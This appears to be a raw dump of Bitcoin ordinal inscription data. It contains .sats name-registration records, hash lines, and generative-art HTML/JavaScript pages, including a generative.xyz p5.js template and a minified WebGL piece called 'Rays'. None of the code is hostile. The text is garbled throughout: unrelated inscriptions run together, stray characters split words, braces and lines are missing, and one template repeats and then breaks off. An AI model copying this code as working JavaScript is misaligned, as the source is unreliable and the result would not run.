if(cp==10) artcols= ['#9FA6A4','#77694E','#B54933'];
function ri( x){  return Math.floor(mathRand()*x);}
function rir(x,y){ let nr = (y - x) ; return  Math.floor((mathRand()*nr) + x); }
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11010.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11009.sats"}h!
text/plain;charset=utf-8
  "name": "ysc.sats"
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11007.sats"}h!
d/Foundry USA Pool #dropgold/
FjDOUT:342E538B49FDE457FDB392B4DDC40BD63474EF1007CA9F5EC40CAD0A6AE77B46
FjDOUT:F62C763077A4A8D147DD063669EE24CCCA367F72B5CE0D71C00E6A07A4E70FDB
FjDOUT:E3509C8DB13F20CA2CA03074FD7ED0C7B9DBF72B75CE45CCE6B870191E3E3633
FjDOUT:1E086BD254DDB8B57BF0D81B77F7FE9D471266BE603F8CFDA50BBD7083490AF3
text/html;charset=utf-8
    <meta charset="UTF-8">
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <!-- c2.min.js@1.0.0
    <script sandbox="allow-scripts" type="text/javascript" srM
c="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <!-- p5.grain.js@0.6.1
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>
    <!-- threejs@r124
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/aM
jax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <!-- aframejs@1.2.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aM
frame/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script>
    <!-- regljs@2.1.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.comM
/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
 Add your script here
var colorPalettes = [
  ['#fafa6e', '#2A4858'],
  ['#9C27B0', '#FFEB3B'],
  ['#00BCD4', '#FF5722'],
  ['#191970', '#FF69B4', '#228B22', '#FFFF00'],
  ['#8BC34A', '#3F51B5', '#F44336'],
  ['#009688', '#FFC107', '#795548'],
  ['#4CAF50', '#FFC107', '#9C27B0'],
  ['#00BCD4', '#FFC107', '#9C27B0'],
88', '#FFC107', '#E91E63'],
  ['#ff0000', '#0000ff', '#00ff00'],
  ['#ff0000', '#0000ff', '#00ff00'],
  ['green', 'blue', 'orange', 'green']
var point_count = 700;
var pointSpace = 12;
var spaceRatio = 0.5;
var maxAttempts = 100;
var densityRatio = 0.5;
var length1 = 10000;
var length2 = 10000;
  [700, 12, 0.95, 0.5, 0.5],
  [700, 12, 0.95, 0.5, 0.5],
  [700, 12, 0.95, 0.5, 0.5],
700, 12, 0.95, 0.5, 0.5],
  [900, 8, 0.95, 0.5, 0.5],
  [700, 8, 0.78, 0.5, 0.5],
  [500, 5, 0.85, 0.5, 0.5],
  [800, 12, 0.9, 0.2, 0.5],
  [700, 12, 0.95, 0.5, 0.5],
  [700, 12, 0.95, 0.5, 0.5]
function mathRandSelect(array) {
  return array[round(mathRand() * (array.length - 1))];
function mathRnd(min, max) {
  return map(mathRand(), 0, 1, min, max)
function resizeCanvasStyle(){
    canvas.style("position", "absolute");
 the canvas element's width and height properties to scale it
    canvas.style("width", "100%");
    canvas.style("height", "100%");
    // Set the canvas element's top and left properties to center it horizontally and vertically
    canvas.style("top", "0");
    canvas.style("left", "0");
    canvas.style("bottom", "0");
    canvas.style("right", "0");
    canvas.style("margin", "auto");
    // Set the transform property to move the canvas element to the center of the page
    canvas.style("transform", "translatM
      canvas.style("width", "100%");
     canvas.style("height", "100%");
     // Set the canvas element's top and left properties to center it horizontally and vertically
     canvas.style("top", "0");
     canvas.style("left", "0");
     canvas.style("bottom", "0");
     canvas.style("right", "0");
     canvas.style("margin", "auto");
     // Calculate the scale factor based on the window size and the canvas size
     let scaleFactor = Math.min(window.innerWidth / 400, window.innerHeight / 600M
     // Set the transform property to scale the canvas element based on the scale factor
     canvas.style("transform", `scale(${scaleFactor})`);
  let urlParams = getURLParams();
  if (urlParams.res) {
    density = round(int(urlParams.res));
  noiseSeed(mathRand() * 99999);
  randomSeed(mathRand() * 99999);
  canvas = createCanvas(400, 600);
  canvas.addClass("canvasNewCSS");
  resizeCanvasStyle(canvasW,canvasH);
  pixelDensity(density);
  angleMode(DEGREES);
mathRandSelect(colorPalettes);
  noiseDetail(8, 0.5);
  print(colorPalette);
  colorPalette = chroma.scale(colorPalette).mode('lch').colors(12);
  field = mathRandSelect(fields);
  point_count = field[0];
  pointSpace = field[1];
  offset = field[2];
  spaceRatio = field[3];
  densityRatio = field[4];
  variationMode = round(mathRandSelect([1, 2, 3, 4, 5, 6, 7, 8]));
  var maxAttempts = 1000;
  for (var i = 0; i < point_count; i++) {
    var attempts = 0;
    while (attempts < maxAttempts) {
    var point_x = mathRnd(width * (1 - offset), width * offset);
      var point_y = mathRnd(height * (1 - offset), height * offset);
      var point_r = mathRnd(pointSpace * spaceRatio, pointSpace);
      var point_l = mathRnd(length1, length2);
      var point_color = mathRandSelect(colorPalette);
      var overlapp = false;
      for (var j = 0; j < i; j++) {
        if (points[j]) {
          var x2 = points[j].x;
          var y2 = points[j].y;
          var r2 = points[j].r;
          if (dist(point_x, poM
int_y, x2, y2) < (r2 + point_r) / 2 * 1.4) {
            overlapp = true;
      if (!overlapp) {
        append(points, {
          x: point_x,
          y: point_y,
          c: point_color,
          r: point_r,
          l: point_l
    if (attempts >= maxAttempts) {
      console.warn("Could not place point " + i + " after " + maxAttempts + " attempts.");
  for (var p = 0; p < points.length;M
    fill(points[p].c);
    rectMode(CENTER);
    translate(points[p].x, points[p].y);
    rotate(mathRnd(360));
    translate(-points[p].x, -points[p].y);
  for (var i = 0; i < points.length; i++) {
    if (points[i].l > 0) {
      let x = points[i].x;
      let y = points[i].y;
      let pointColor = points[i].c;
      let newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
      let newY = y + mM
ap(noise(log(y), log(x)), 0, 1, -space, space / 2);
      switch (variationMode) {
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), sin(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(cos(x), log(y)), 0, 1, -spaM
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(sin(x), cos(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(cos(y), sin(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(M
x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
          newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space);
          newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2);
      let maxR = pointSpace;
      if (newX > width * (1 - offset) &&M
 newX < width * offset) {
        if (newY > height * (1 - offset) && newY < height * offset) {
          let v1 = createVector(x, y);
          let v2 = createVector(newX, newY);
          let angleBetween = v1.angleBetween(v2);
          rotate(angleBetween / space);
          strokeWeight(0.7);
          stroke(pointColor)
          fill(pointColor);
          maxR = points[i].r;
          for (var p = 0; p < i; p++) {
            maxR = min(maxR, dist(x, y, points[p].x, poM
          noStroke();
          circle(x, y, maxR);
      points[i].x = newX;
      points[i].y = newY;
      points[i].r = maxR;
      points[i].l--;
  if (millis()>25000) {
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        // DO NOT EDIT THIS SM
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + M
pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = MathM
.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0,M
 (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0px;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
            return false
    // window.$generativeTraits contain list traits for token
    // you need to populate a $generativeTraits object in the window object
    // window.$generativeTraits = {
    //     "T1": T1(rand),
    // console.log(window.$generativeTraits)
 Add your code here
    // const container = document.createElement("div")
    // container.innerHTML = "<span>seed: " + seed + "</span><br>";
    // document.body.prepend(container)
 Add your code here
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>"Rays" by Pawe
 Dudko | pdudko.com</title>
    <script id="snippet-random-code" type="text/javascript">
        // not editable
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() *M
 alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.lengthM
; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
            return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
    u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
        let mathRand = sfc32(...cyrb128(seed));
            margin: 0;
            padding: 0;
            overflow: hidden;
  <canvas id="myCanvas"></canvas>
<script type="text/jaM
console.log("seed:",seed);class Rnd{rD(){return mathRand()}rN(r,t){return r+(t-r)*this.rD()}rI(r,t){return Math.floor(this.rN(r,t+1))}rB(r){return this.rD()<r}}const R=new Rnd;class Perlin{constructor(){this.R=new Rnd,this.grad3=[[1,1,0],[-1,1,0],[1,-1,0],[-1,-1,0],[1,0,1],[-1,0,1],[1,0,-1],[-1,0,-1],[0,1,1],[0,-1,1],[0,1,-1],[0,-1,-1]],this.p=[];for(var r=0;r<256;r++)this.p[r]=Math.floor(256*this.R.rD());for(this.perm=[],r=0;r<512;r++)this.perm[r]=this.p[255&r];this.simplex=[[0,1,2,3],[0,1,3M
,2],[0,0,0,0],[0,2,3,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,3,0],[0,2,1,3],[0,0,0,0],[0,3,1,2],[0,3,2,1],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,3,2,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[1,2,0,3],[0,0,0,0],[1,3,0,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,3,0,1],[2,3,1,0],[1,0,2,3],[1,0,3,2],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,3,1],[0,0,0,0],[2,1,3,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[0,0,0,0],[2,0,1,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,0,1,2],[3,0,2M
,1],[0,0,0,0],[3,1,2,0],[2,1,0,3],[0,0,0,0],[0,0,0,0],[0,0,0,0],[3,1,0,2],[0,0,0,0],[3,2,0,1],[3,2,1,0]]}dot(r,t,e){return r[0]*t+r[1]*e}noise(r,t){var e,i,a=(r+t)*(.5*(Math.sqrt(3)-1)),o=Math.floor(r+a),l=Math.floor(t+a),n=(3-Math.sqrt(3))/6,s=(o+l)*n,g=r-(o-s),c=t-(l-s);g>c?(e=1,i=0):(e=0,i=1);var d=g-e+n,f=c-i+n,p=g-1+2*n,A=c-1+2*n,m=255&o,F=255&l,E=this.perm[m+this.perm[F]]%12,u=this.perm[m+e+this.perm[F+i]]%12,R=this.perm[m+1+this.perm[F+1]]%12,h=.5-g*g-c*c,B=.5-d*d-f*f,D=.5-p*p-A*A;return 70*((h<0?0:(h*=h)*h*M
this.dot(this.grad3[E],g,c))+(B<0?0:(B*=B)*B*this.dot(this.grad3[u],d,f))+(D<0?0:(D*=D)*D*this.dot(this.grad3[R],p,A)))}}const perlin=new Perlin;function map(r,t,e,i,a){return i+(a-i)*(r-t)/(e-t)}let bckCol,dim=Math.min(window.innerWidth,window.innerHeight),spots=R.rI(10,25),radius=[],m=[],mOff=1e-4*R.rN(1,7),x=[],y=[],z=[],S=30,sRot=[],b=1,bOffset=R.rN(0,.005),bMag=1,xOff=[],yOff=[],pC=[],noiseFeat=mathRand()>.79,pFeat=R.rI(1,24),angleFeat=mathRand()>.87?0:mathRand()<.1?1:2,colorBackground=R.rI(0,1);const PI=Math.M
PI,TWO_PI=2*PI;let blurV=[];blurV=blurV=0==angleFeat?[R.rN(0,R.rN(0,1)),0]:1==angleFeat?[0,R.rN(0,R.rN(0,1))]:[R.rN(-.9,.9),R.rN(0,.9)],Math.pow(blurV[0],2)+Math.pow(blurV[1],2)<.18&&(blurV[0]>blurV[1]?blurV[0]+=.35:blurV[1]+=.35);const vs2="attribute vec2 a_position;attribute vec2 a_texCoord;uniform vec2 u_resolution;varying vec2 v_texCoord;\nvoid main(){vec2 clipSpace=a_position/u_resolution*2.0-1.0;gl_Position=vec4(clipSpace*vec2(1,-1),0,1);v_texCoord=a_texCoord;}",fs2="precision mediump float;uniform sampler2D M
u_image;varying vec2 v_texCoord;uniform vec2 dl;float rnd(vec3 scale,float seed){return fract(sin(dot(gl_FragCoord.xyz+seed,scale))*43758.5453+seed);}\nvoid main(){vec4 col=vec4(0.0);float tt=0.0;float off=rnd(vec3(12.9898,78.233,151.7182),0.0);for(float t=-30.0;t<=30.0;t++){float pc=(t+off-0.5)/30.0;float w=1.0-abs(pc);vec4 spl=texture2D(u_image,v_texCoord+dl*pc);spl.rgb*=spl.a;col+=spl*w;tt+=w;}gl_FragColor=col/tt;}";function setup(){for(i=0;i<spots;i++)radius[i]=R.rI(dim/100,dim/4),m[i]=R.rN(0,100),x[i]=R.rN(0,dM
im),y[i]=R.rN(0,dim),z[i]=R.rN(0,dim),xOff[i]=R.rN(4,10),yOff[i]=R.rN(4,10),sRot[i]=R.rN(0,TWO_PI);if(noiseFeat){let r=R.rI(20,200);for(i=0;i<r;i++)radius[spots+i]=R.rI(dim/400,dim/100),m[spots+i]=R.rN(0,10),y[spots+i]=R.rN(0,dim),z[spots+i]=R.rN(0,dim),x[spots+i]=R.rN(0,dim),xOff[spots+i]=R.rN(4,10),yOff[spots+i]=R.rN(4,10),sRot[spots+i]=R.rN(0,PI);spots+=r}angle=0==angleFeat?-PI/4:1==angleFeat?PI/4:R.rN(0,PI),p=pFeat;let r=1==p?["#0B1626","#2F1517","#4599B5","#A83882","#B4DDDD","#DBBEF2"]:2==p?["#0B1626","#2F1517M
","#4599B5","#A84B28","#B4DDDD","#C4E4A2"]:3==p?["#140000","#021c13","#003924","#005841","#750100","#990100","#d7bb30","#ccae00"]:4==p?["#1D1702","#2B0426","#650427","#AD2C00","#ddac0a","#c6c339","#E55130"]:5==p?["#200e36","#2B0426","#366290","#E27D52","#D3EAC0","#EDC557","#A8DAB9"]:6==p?["#200A0E","#080811","#006978","#170F08","#FBFBD6","#02E7CA","#729C9D"]:7==p?["#0A0A3D","#041604","#00C075","#87C000","#F9BD27","#FE8900","#FE003B"]:8==p?["#2A0002","#14060B","#664C4C","#EF3B01","#C11900","#A20005"]:9==p?["#000000"M
,"#0B1626","#68D1E6","#A6DAD7","#DFE3CB","#F2852F","#F96800"]:10==p?["#000000","#2F1517","#2AABCF","#6CBAB5","#C3CAA1","#E54508","#F32A00"]:11==p?["#200e36","#1A0210","#e04372","#5aa9e6","#4a4e69","#e04372","#e6b953"]:12==p?["#131303","#040207","#EFA72F","#EF7717","#77BFA7","#FBEAB5","#5D402E"]:13==p?["#1E1E3D","#002030","#009FAF","#CB323E","#EA6740","#ECC850"]:14==p?["#1E1E3D","#292B30","#592D2D","#DEB968","#FEFDDE","#3D4046"]:15==p?["#040207","#002030","#60A5AA","#FAEDC1","#5F5850","#C0B297"]:16==p?["#0F0F00","#0M
30313","#9C8C68","#FDA5A1","#9E7B52","#E1CC92"]:17==p?["#0A0A1A","#120202","#FF8B00","#000000","#649EE8","#917FFF"]:18==p?["#020202","#0A0A1A","#09BEBB","#12737C","#28211E","#FB344B"]:19==p?["#000000","#200B01","#F92900","#F1D593","#85B7B0","#EFD7A7"]:20==p?["#000000","#1A1A1A","#F35C4B","#F6A440","#F9C965","#FDE4AC","#FFFFB1"]:21==p?["#0D1626","#091425","#051738","#204E75","#005151","#A0995F"]:22==p?["#000000","#091425","#764E37","#DF8D78","#F0D3AE","#C4DFDB"]:23==p?["#020202","#1A1A1A","#605274","#8DB1C4","#F8BE7M
5","#E4615B","#D0303C"]:["#050505","#0F0F0F","#000000","#7F7F7F","#333333","#E5E5E5","#F0F0F0"];pC.push(...r);let t=pC.length-1;for(ii=0;ii<3;ii++)for(i=t-1;i<=t;i++)pC.push(pC[i])}var c=document.createElement("canvas");c.width=dim,c.height=dim;var ctx=c.getContext("2d");function draw(){for(ctx.beginPath(),ctx.rect(0,0,c.width,c.height),ctx.fillStyle=pC[colorBackground],ctx.fill(),i=0;i<spots;i++){let r=pC[i%pC.length],t=map(perlin.noise(m[i],i),-1,1,-dim/xOff[i],dim/xOff[i]),e=map(perlin.noise(m[i],i+200),-1,1,-diM
m/yOff[i],dim/yOff[i]),a=map(perlin.noise(10*m[i],i+999),-1,1,-radius[i]/20,radius[i]/20);ctx.beginPath(),ctx.arc(x[i]+t,y[i]+e,radius[i]+a,0,2*Math.PI),ctx.fillStyle=r,ctx.fill(),m[i]+=mOff}bMag=map(perlin.noise(b,spots),-1,1,.8,1.2),render(),b+=bOffset,window.requestAnimationFrame(draw)}function createShader(r,t,e){var i=r.createShader(t);if(r.shaderSource(i,e),r.compileShader(i),r.getShaderParameter(i,r.COMPILE_STATUS))return i;r.deleteShader(i)}function createProgram(r,t,e){var i=r.createProgram();if(r.attachShM
ader(i,t),r.attachShader(i,e),r.linkProgram(i),r.getProgramParameter(i,r.LINK_STATUS))return i;r.deleteProgram(i)}function setRectangle(r,t,e,i,a){let o=t,l=t+i,n=e,s=e+a;r.bufferData(r.ARRAY_BUFFER,new Float32Array([o,n,l,n,o,s,o,s,l,n,l,s]),r.STATIC_DRAW)}setup(),window.requestAnimationFrame(draw);const canvasGL=document.getElementById("myCanvas");canvasGL.width=dim,canvasGL.height=dim;const gl=canvasGL.getContext("webgl");var vertexShader=createShader(gl,gl.VERTEX_SHADER,vs2),fragmentShader=createShader(gl,gl.FRM
AGMENT_SHADER,fs2),program=createProgram(gl,vertexShader,fragmentShader),positionLocation=gl.getAttribLocation(program,"a_position"),texcoordLocation=gl.getAttribLocation(program,"a_texCoord"),positionBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer),setRectangle(gl,0,0,c.width,c.height);var texcoordBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([0,0,1,0,0,1,0,1,1,0,1,1]),gl.STATIC_DRAW);var texture=gl.createTexture();gl.binM
dTexture(gl.TEXTURE_2D,texture),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.NEAREST),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.NEAREST);var resolutionLocation=gl.getUniformLocation(program,"u_resolution"),blurVectorLocation=gl.getUniformLocation(program,"dl");function render(){if(gl){gl.texImage2D(gl.TEXTURE_2D,0,gl.RGBA,gl.RGBA,gl.UNSIGNED_BYTE,ctx.canvas),M
gl.useProgram(program),gl.enableVertexAttribArray(positionLocation),gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer);var r=gl.FLOAT,t=0;gl.vertexAttribPointer(positionLocation,2,r,false,0,t),gl.enableVertexAttribArray(texcoordLocation),gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.vertexAttribPointer(texcoordLocation,2,r,false,0,t),gl.uniform2f(resolutionLocation,gl.canvas.width,gl.canvas.height),gl.uniform2f(blurVectorLocation,blurV[0]*bMag,blurV[1]*bMag);var e=gl.TRIANGLES;t=0;gl.drawArrays(e,t,6)}else console.loMo
g("Needs WebGL to run")}gl.viewport(0,0,gl.canvas.width,gl.canvas.height);
window.$generativeTraits = {
  "Palette": pFeat,
  "Noisy": noiseFeat,
  "Angle": angleFeat == 0 ? 'horizontal' : angleFeat == 1 ? 'vertical' : 'diagonal'
console.log(window.$generativeTraits)
text/html;charset=utf-8
    <meta charset="UTF-8">
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <!-- c2.min.js@1.0.0
    <script sandbox="allow-scripts" type="text/javascript" srM
c="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
    <!-- p5.grain.js@0.6.1
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>
    <!-- threejs@r124
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/aM
jax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <!-- aframejs@1.2.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aM
frame/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script>
    <!-- regljs@2.1.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.comM
/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
 Add your script here
var colorPalettes = [
  ['#fafa6e', '#2A4858'],
  ['#9C27B0', '#FFEB3B'],
  ['#00BCD4', '#FF5722'],
  ['#191970', '#FF69B4', '#228B22', '#FFFF00'],
  ['#8BC34A', '#3F51B5', '#F44336'],
  ['#009688', '#FFC107', '#795548'],
  ['#4CAF50', '#FFC107', '#9C27B0'],
  ['#00BCD4', '#FFC107', '#9C27B0'],
88', '#FFC107', '#E91E63'],
  ['#ff0000', '#0000ff', '#00ff00'],
  ['#ff0000', '#0000ff', '#00ff00'],
  ['green', 'blue', 'orange', 'green']
var point_count = 700;
var pointSpace = 12;
var spaceRatio = 0.5;
var maxAttempts = 100;
var densityRatio = 0.5;
var length1 = 10000;
var length2 = 10000;
  [700, 12, 0.95, 0.5, 0.5],
  [700, 12, 0.95, 0.5, 0.5],
  [700, 12, 0.95, 0.5, 0.5],
700, 12, 0.95, 0.5, 0.5],
  [900, 8, 0.95, 0.5, 0.5],
  [700, 8, 0.78, 0.5, 0.5],
  [500, 5, 0.85, 0.5, 0.5],
  [800, 12, 0.9, 0.2, 0.5],
  [700, 12, 0.95, 0.5, 0.5],
  [700, 12, 0.95, 0.5, 0.5]
function mathRandSelect(array) {
  return array[round(mathRand() * (array.length - 1))];
function mathRnd(min, max) {
  return map(mathRand(), 0, 1, min, max)
function resizeCanvasStyle(){
    canvas.style("position", "absolute");
 the canvas element's width and height properties to scale it
    canvas.style("width", "100%");
    canvas.style("height", "100%");
    // Set the canvas element's top and left properties to center it horizontally and vertically
    canvas.style("top", "0");
    canvas.style("left", "0");
    canvas.style("bottom", "0");
    canvas.style("right", "0");
    canvas.style("margin", "auto");
    // Set the transform property to move the canvas element to the center of the page
    canvas.style("transform", "translatM
      canvas.style("width", "100%");
     canvas.style("height", "100%");
     // Set the canvas element's top and left properties to center it horizontally and vertically
     canvas.style("top", "0");
     canvas.style("left", "0");
     canvas.style("bottom", "0");
     canvas.style("right", "0");
     canvas.style("margin", "auto");
     // Calculate the scale factor based on the window size and the canvas size
     let scaleFactor = Math.min(window.innerWidth / 400, window.innerHeight / 600M
     // Set the transform property to scale the canvas element based on the scale factor
     canvas.style("transform", `scale(${scaleFactor})`);
  let urlParams = getURLParams();
  if (urlParams.res) {
    density = round(int(urlParams.res));
  noiseSeed(mathRand() * 99999);
  randomSeed(mathRand() * 99999);
  canvas = createCanvas(400, 600);
  canvas.addClass("canvasNewCSS");
  resizeCanvasStyle(canvasW,canvasH);
  pixelDensity(density);
  angleMode(DEGREES);
mathRandSelect(colorPalettes);
  noiseDetail(8, 0.5);
  print(colorPalette);
  colorPalette = chroma.scale(colorPalette).mode('lch').colors(12);
  field = mathRandSelect(fields);
  point_count = field[0];
  pointSpace = field[1];
  offset = field[2];
  spaceRatio = field[3];
  densityRatio = field[4];
  variationMode = round(mathRandSelect([1, 2, 3, 4, 5, 6, 7, 8]));
  var maxAttempts = 1000;
  for (var i = 0; i < point_count; i++) {
    var attempts = 0;
    while (attempts < maxAttempts) {
    var point_x = mathRnd(width * (1 - offset), width * offset);
      var point_y = mathRnd(height * (1 - offset), height * offset);
      var point_r = mathRnd(pointSpace * spaceRatio, pointSpace);
      var point_l = mathRnd(length1, length2);
      var point_color = mathRandSelect(colorPalette);
      var overlapp = false;
      for (var j = 0; j < i; j++) {
        if (points[j]) {
          var x2 = points[j].x;
          var y2 = points[j].y;
          var r2 = points[j].r;
          if (dist(point_x, poM
int_y, x2, y2) < (r2 + point_r) / 2 * 1.4) {
            overlapp = true;
      if (!overlapp) {
